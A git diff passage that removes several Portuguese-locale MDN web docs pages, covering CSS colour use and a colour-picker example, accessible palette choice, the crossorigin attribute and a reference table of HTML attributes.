In brief, .box establishes the size of each box, as well as the configuration of the font used within. We also take advantage of CSS Flexbox to easily center the contents of each box. We enable flex mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to center. Then we can create a class for each of the two boxes that defines the propeties that differ between the two.

- -
.boxLeft {
-  float: left;
-  background-color: rgb(245, 130, 130);
-  outline: 2px solid darkred;
-}
- -

The .boxLeft class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors:

- -
    -
  • The box's background color is set by changing the value of the CSS {{cssxref("background-color")}} property to rgb(245, 130, 130).
  • -
  • An outline is defined for the box. Unlike the more commonly used border, {{cssxref("outline")}} doesn't affect layout at all; it draws over the top of whatever may happen to be outside the element's box instead of making room as border does. This outline is a solid, dark red line that's two pixels thick. Note the use of the darkred keyword when specifying the color.
  • -
  • Notice that we're not explicitly setting the text color. That means the value of {{cssxref("color")}} will be inherited from the nearest containing element that defines it. By default, that's black.
  • -
- -
.boxRight {
-  float: right;
-  background-color: hsl(270deg, 50%, 75%);
-  outline: 4px dashed rgb(110, 20, 120);
-  color: hsl(0deg, 100%, 100%);
-  text-decoration: underline wavy #88ff88;
-  text-shadow: 2px 2px 3px black;
-}
- -

Finally, the .boxRight class describes the unique properties of the box that's drawn on the right. It's configured to float the box to the right so that it appears next to the previous box. Then the following colors are established:

- -
    -
  • The background-color is set using the HSL value specified using hsl(270deg, 50%, 75%). This is a medium purple color.
  • -
  • The box's outline is used to specify that the box should be enclosed in a four pixel thick dashed line whose color is a somewhat deeper purple (rgb(110, 20, 120)).
  • -
  • The foreground (text) color is specified by setting the {{cssxref("color")}} property to hsl(0deg, 100%, 100%). This is one of many ways to specify the color white.
  • -
  • We add a green wavy line under the text with {{cssxref("text-decoration")}}.
  • -
  • Finally, a bit of a shadow is added to the text using {{cssxref("text-shadow")}}. Its color parameter is set to black.
  • -
- -

Deixar que o utilizador escolha uma cor

- -

There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using "color" as the value of its {{htmlattrxref("type", "input")}} attribute.

- -

The <input> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.

- -

Exemplo: Escolher uma cor

- -

Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.

- -

{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}

- -
-

On macOS, you indicate that you've finalized selection of the color by closing the color picker window.

-
- -

HTML

- -

The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.

- -
<div id="box">
-  <label for="colorPicker">Border color:</label>
-  <input type="color" value="#8888ff" id="colorPicker">
-  <p id="output"></p>
-</div>
- -

CSS

- -

The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...

- -
#box {
-  width: 500px;
-  height: 200px;
-  border: 2px solid rgb(245, 220, 225);
-  padding: 4px 6px;
-  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
-}
- -

JavaScript

- -

The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <input type="color"> element.

- -
let colorPicker = document.getElementById("colorPicker");
-let box = document.getElementById("box");
-let output = document.getElementById("output");
-
-box.style.borderColor = colorPicker.value;
-
-colorPicker.addEventListener("input", function(event) {
-  box.style.borderColor = event.target.value;
-}, false);
-
-colorPicker.addEventListener("change", function(event) {
-  output.innerText = "Color set to " + colorPicker.value + ".";
-}, false);
- -

The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.

- -

The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <p> element with the ID "output" to a string describing the finally selected color.

- -

Utilizar a cor com sabedoria

- -

Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.

- -

Encontrar as cores corretas

- -

Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.

- -

Cor base

- -

The first step is to choose your base color. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:

- -
    -
  • A color that is naturally associated with the topic of your content, such as the existing color identified with a product or idea or a color representative of the emotion you wish to convey.
  • -
  • A color that comes from imagery associated with what your content is about. If you're creating a web site about a given item or product, choose a color that's physically present on that item.
  • -
  • Browse web sites that let you look at lots of existing color palettes and imags to find inspiration.
  • -
- -

When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site ColorZilla offers an extension (Chrome / Firefox) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.

- -
-

The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.

-
- -

Fleshing out the palette

- -

Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.

- -

A few examples (all free to use as of the time this list was last revised):

- - - -

When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.

- -
-

Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.

-
- -

Color theory resources

- -

A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:

- -
-
Color Science (Khan Academy in association with Pixar)
-
An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.
-
{{interwiki("wikipedia", "Color theory")}} on Wikipedia
-
Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.
-
- -

Cor e acessibilidade

- -

There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.

- -

You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.

- -
-

The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.

-
- -

For more information about color blindness, see the following articles:

- - - -

Exemplo da paleta de desenho

- -

Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a Google search for photos of Mars. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.

- -

Using an eyedropper tool, we identify a color we like and determine that the color in question is #D79C7A, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.

- -

Having selected our base color, we need to build out our palette. We decide to use Paletteon to come up with the other colors we need. Upon opening Paletton, we see:

- -

Right after loading Paletton.

- -

Next, we enter our color's hex code (D79C7A) into the "Base RGB" box at the bottom-left corner of the tool:

- -

After entering base color

- -

We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is #508D7C.

- -

Now with complementary colors included.

- -

If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:

- -

Triad color scheme selected

- -

That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's #556E8D. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:

- -

Triad color scheme selected

- -

Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.

- -

Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.

- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/html/attributes/crossorigin/index.html b/files/pt-pt/web/html/attributes/crossorigin/index.html deleted file mode 100644 index 6fb3125b7d..0000000000 --- a/files/pt-pt/web/html/attributes/crossorigin/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: 'Atributo CORS: Solicitar acesso CORS para o conteúdo' -slug: Web/HTML/Attributes/crossorigin -tags: - - Avançado - - CORS - - HTML - - Precisa de Exemplo - - Referencia - - Segurança -translation_of: Web/HTML/Attributes/crossorigin -original_slug: Web/HTML/CORS_settings_attributes ---- -

In HTML5, some HTML elements which provide support for CORS, such as {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("script") }}, have a crossorigin attribute (crossOrigin property), which lets you configure the CORS requests for the element's fetched data. These attributes are enumerated, and have the following possible values:

- - - - - - - - - - - - - - - - -
KeywordDescription
anonymousCORS requests for this element will have the credentials flag set to 'same-origin'.
use-credentialsCORS requests for this element will have the credentials flag set to 'include'.
- -

By default (that is, when the attribute is not specified), CORS is not used at all. The "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side SSL certificates or HTTP authentication as described in the Terminology section of the CORS specification, unless it is in the same origin.

- -

An invalid keyword and an empty string will be handled as the anonymous keyword.

- -

Exemplo: crossorigin with the script element

- -

You can use the following {{HTMLElement("script")}} element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials.

- -
<script src="https://example.com/example-framework.js"
-        crossorigin="anonymous"></script>
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilidade de navegador

- -

<script crossorigin>

- - - -

{{Compat("html.elements.script.crossorigin")}}

- -

<video crossorigin>

- - - -

{{Compat("html.elements.video.crossorigin")}}

- -

Consulte também

- - - -
{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}
diff --git a/files/pt-pt/web/html/attributes/index.html b/files/pt-pt/web/html/attributes/index.html deleted file mode 100644 index 064acf59e9..0000000000 --- a/files/pt-pt/web/html/attributes/index.html +++ /dev/null @@ -1,660 +0,0 @@ ---- -title: Lista de atributos HTML -slug: Web/HTML/Attributes -tags: - - HTML - - Referencia - - Web - - atributo -translation_of: Web/HTML/Attributes -original_slug: Web/HTML/Atributos ---- -

Elementos em HTML têm atributos; estes são valores adicionais que configuram os elementos ou ajustam o seu comportamento em vários modos para corresponderem aos critérios que os utilizadores pretendem.

- -

Lista de Atributos

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do AtributoElementosDescrição
accept{{ HTMLElement("form") }}, {{ HTMLElement("input") }}Lista de tipos que o servidor aceita, é usualmente um tipo de ficheiro.
accept-charset{{ HTMLElement("form") }}Lista de codificações de caracteres (charsets) que são suportadas.
accesskeyAtributo globalDefine um atalho do teclado para activar ou adicionar foco ao elemento.
action{{ HTMLElement("form") }}O URI dum programa que processa a informação submetida através deste formulário.
align{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}Especifica o alinhamento horizontal do elemento.
alt{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}Texto alternativo no caso de uma imagem não poder ser mostrada.
async{{ HTMLElement("script") }}Indicates that the script should be executed asynchronously.
autocomplete{{ HTMLElement("form") }}, {{ HTMLElement("input") }}Indicates whether controls in this form can by default have their values automatically completed by the browser.
autofocus{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}The element should be automatically focused after the page loaded.
autoplay{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}The audio or video should play as soon as possible.
autosave{{ HTMLElement("input") }}Previous values should persist dropdowns of selectable values across page loads.
bgcolor{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }} -

Background color of the element.

- -
-

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("background-color") }} property instead.

-
-
border{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }} -

The border width.

- -
-

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("border") }} property instead.

-
-
buffered{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Contains the time range of already buffered media.
challenge{{ HTMLElement("keygen") }}A challenge string that is submitted along with the public key.
charset{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}Declares the character encoding of the page or script.
checked{{ HTMLElement("command") }}, {{ HTMLElement("input") }}Indicates whether the element should be checked on page load.
cite{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}Contains a URI which points to the source of the quote or change.
classGlobal attributeOften used with CSS to style elements with common properties.
code{{ HTMLElement("applet") }}Specifies the URL of the applet's class file to be loaded and executed.
codebase{{ HTMLElement("applet") }}This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.
color{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }} -

This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.

- -
-

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("color") }} property instead.

-
-
cols{{ HTMLElement("textarea") }}Defines the number of columns in a textarea.
colspan{{ HTMLElement("td") }}, {{ HTMLElement("th") }}The colspan attribute defines the number of columns a cell should span.
content{{ HTMLElement("meta") }}A value associated with http-equiv or name depending on the context.
contenteditableGlobal attributeIndicates whether the element's content is editable.
contextmenuGlobal attributeDefines the ID of a {{ HTMLElement("menu") }} element which will serve as the element's context menu.
controls{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Indicates whether the browser should show playback controls to the user.
coords{{ HTMLElement("area") }}A set of values specifying the coordinates of the hot-spot region.
crossorigin{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}How the element handles cross-origin requests
data{{ HTMLElement("object") }}Specifies the URL of the resource.
data-*Global attributeLets you attach custom attributes to an HTML element.
datetime{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}Indicates the date and time associated with the element.
default{{ HTMLElement("track") }}Indicates that the track should be enabled unless the user's preferences indicate something different.
defer{{ HTMLElement("script") }}Indicates that the script should be executed after the page has been parsed.
dirGlobal attributeDefines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left)
dirname{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} 
disabled{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates whether the user can interact with the element.
download{{ HTMLElement("a") }}, {{ HTMLElement("area") }}Indicates that the hyperlink is to be used for downloading a resource.
draggableGlobal attributeDefines whether the element can be dragged.
dropzoneGlobal attributeIndicates that the element accept the dropping of content on it.
enctype{{ HTMLElement("form") }}Defines the content type of the form date when the method is POST.
for{{ HTMLElement("label") }}, {{ HTMLElement("output") }}Describes elements which belongs to this one.
form{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates the form that is the owner of the element.
formaction{{ HTMLElement("input") }}, {{ HTMLElement("button") }}Indicates the action of the element, overriding the action defined in the {{ HTMLElement("form") }}.
headers{{ HTMLElement("td") }}, {{ HTMLElement("th") }}IDs of the <th> elements which applies to this element.
height{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} -

Specifies the height of elements listed here. For all other elements, use the CSS {{cssxref("height")}} property.

- -
-

Nota: In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("height") }} property should be used instead.

-
-
hiddenGlobal attributePrevents rendering of given element, while keeping child elements, e.g. script elements, active.
high{{ HTMLElement("meter") }}Indicates the lower bound of the upper range.
href{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }} The URL of a linked resource.
hreflang{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}Specifies the language of the linked resource.
http-equiv{{ HTMLElement("meta") }} 
icon{{ HTMLElement("command") }}Specifies a picture which represents the command.
idGlobal attributeOften used with CSS to style a specific element. The value of this attribute must be unique.
integrity{{ HTMLElement("link") }}, {{ HTMLElement("script") }}  -

Security Feature that allows browsers to verify what they fetch. 

- -

MDN Link

-
ismap{{ HTMLElement("img") }}Indicates that the image is part of a server-side image map.
itempropGlobal attribute 
keytype{{ HTMLElement("keygen") }}Specifies the type of key generated.
kind{{ HTMLElement("track") }}Specifies the kind of text track.
label{{ HTMLElement("track") }}Specifies a user-readable title of the text track.
langGlobal attributeDefines the language used in the element.
language{{ HTMLElement("script") }}Defines the script language used in the element.
list{{ HTMLElement("input") }}Identifies a list of pre-defined options to suggest to the user.
loop{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}Indicates whether the media should start playing from the start when it's finished.
low{{ HTMLElement("meter") }}Indicates the upper bound of the lower range.
manifest{{ HTMLElement("html") }}Specifies the URL of the document's cache manifest.
max{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}Indicates the maximum value allowed.
maxlength{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Defines the maximum number of characters allowed in the element.
media{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}Specifies a hint of the media for which the linked resource was designed.
method{{ HTMLElement("form") }}Defines which HTTP method to use when submitting the form. Can be GET (default) or POST.
min{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}Indicates the minimum value allowed.
multiple{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Indicates whether multiple values can be entered in an input of the type email or file.
muted{{ HTMLElement("video") }}Indicates whether the audio will be initially silenced on page load.
name{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}Name of the element. For example used by the server to identify the fields in form submits.
novalidate{{ HTMLElement("form") }}This attribute indicates that the form shouldn't be validated when submitted.
open{{ HTMLElement("details") }}Indicates whether the details will be shown on page load.
optimum{{ HTMLElement("meter") }}Indicates the optimal numeric value.
pattern{{ HTMLElement("input") }}Defines a regular expression which the element's value will be validated against.
ping{{ HTMLElement("a") }}, {{ HTMLElement("area") }} 
placeholder{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Provides a hint to the user of what can be entered in the field.
poster{{ HTMLElement("video") }}A URL indicating a poster frame to show until the user plays or seeks.
preload{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Indicates whether the whole resource, parts of it or nothing should be preloaded.
radiogroup{{ HTMLElement("command") }} 
readonly{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Indicates whether the element can be edited.
rel{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}Specifies the relationship of the target object to the link object.
required{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates whether this element is required to fill out or not.
reversed{{ HTMLElement("ol") }}Indicates whether the list should be displayed in a descending order instead of a ascending.
rows{{ HTMLElement("textarea") }}Defines the number of rows in a text area.
rowspan{{ HTMLElement("td") }}, {{ HTMLElement("th") }}Defines the number of rows a table cell should span over.
sandbox{{ HTMLElement("iframe") }} 
scope{{ HTMLElement("th") }} 
scoped{{ HTMLElement("style") }} 
seamless{{ HTMLElement("iframe") }} 
selected{{ HTMLElement("option") }}Defines a value which will be selected on page load.
shape{{ HTMLElement("a") }}, {{ HTMLElement("area") }} 
size{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Defines the width of the element (in pixels). If the element's type attribute is text or password then it's the number of characters.
sizes{{ HTMLElement("link") }}, {{ HTMLElement("img") }}, {{ HTMLElement("source") }} 
slotGlobal attributeAssigns a slot in a shadow DOM shadow tree to an element.
span{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }} 
spellcheckGlobal attributeIndicates whether spell checking is allowed for the element.
src{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}The URL of the embeddable content.
srcdoc{{ HTMLElement("iframe") }} 
srclang{{ HTMLElement("track") }} 
srcset{{ HTMLElement("img") }} 
start{{ HTMLElement("ol") }}Defines the first number if other than 1.
step{{ HTMLElement("input") }} 
styleGlobal attributeDefines CSS styles which will override styles previously set.
summary{{ HTMLElement("table") }} 
tabindexGlobal attributeOverrides the browser's default tab order and follows the one specified instead.
target{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }} 
titleGlobal attributeText to be displayed in a tooltip when hovering over the element.
type{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}Defines the type of the element.
usemap{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }} 
value{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}Defines a default value which will be displayed in the element on page load.
width{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} -

For the elements listed here, this establishes the element's width.

- -
-

Nota: For all other instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("width") }} property should be used instead.

-
-
wrap{{ HTMLElement("textarea") }}Indicates whether the text should be wrapped.
- -

Conteúdo versus atributos IDL

- -

In HTML, most attributes have two faces: the content attribute and the IDL attribute.

- -

The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via {{domxref("element.setAttribute()")}} or {{domxref("element.getAttribute()")}}. The content attribute is always a string even when the expected value should be an integer. For example, to set an {{HTMLElement("input")}} element's maxlength to 42 using the content attribute, you have to call setAttribute("maxlength", "42") on that element.

- -

The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like element.foo. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes.

- -

Most of the time, IDL attributes will return their values as they are really used. For example, the default type for {{HTMLElement("input")}} elements is "text", so if you set input.type="foobar", the <input> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the type IDL attribute will return the string "text".

- -

IDL attributes are not always strings; for example, input.maxlength is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength ,it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion.

- -

IDL attributes can reflect other types such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes  behave oddly (select.size, for example) and you should read the specifications to understand how exactly they behave.

- -

Consulte também

- - diff --git a/files/pt-pt/web/html/attributes/rel/index.html b/files/pt-pt/web/html/attributes/rel/index.html deleted file mode 100644 index e6ba17138c..0000000000 --- a/files/pt-pt/web/html/attributes/rel/index.html +++ /dev/null @@ -1,419 +0,0 @@ ---- -title: 'HTML attribute: rel' -slug: Web/HTML/Attributes/rel -translation_of: Web/HTML/Attributes/rel -original_slug: Web/HTML/Atributos/rel ---- -

{{draft}}

- -

O atributo rel define a relação entre um recurso ligado e o documento atual. É válido em {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. Os valores suportados dependem do elemento em que o atributo é usado.

- -

O tipo de relação (da ligação) é definido pelo atributo rel que, se existir, tem de ter um valor que é um conjunto de palavras-chave (keywords) únicas, desordenadas, e separadas por espaços. As palavras-chave possíveis estão na tabela em baixo.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Valores possíves para o atributo rel, e os elementos em que são relevantes
rel (valor)Descrição{{htmlelement('link')}}{{htmlelement('a')}} e {{htmlelement('area')}}{{htmlelement('form')}}
{{anch("attr-alternate", "alternate")}}Representações alternativas do documento atual.LinkLinkNão permitido
{{anch("attr-author", "author")}}Autor do documento ou artigo atual.LinkLinkNão permitido
{{anch("attr-bookmark", "bookmark")}}Permalink para a secção antecessora mais próxima.Não permitidoLinkNão permitido
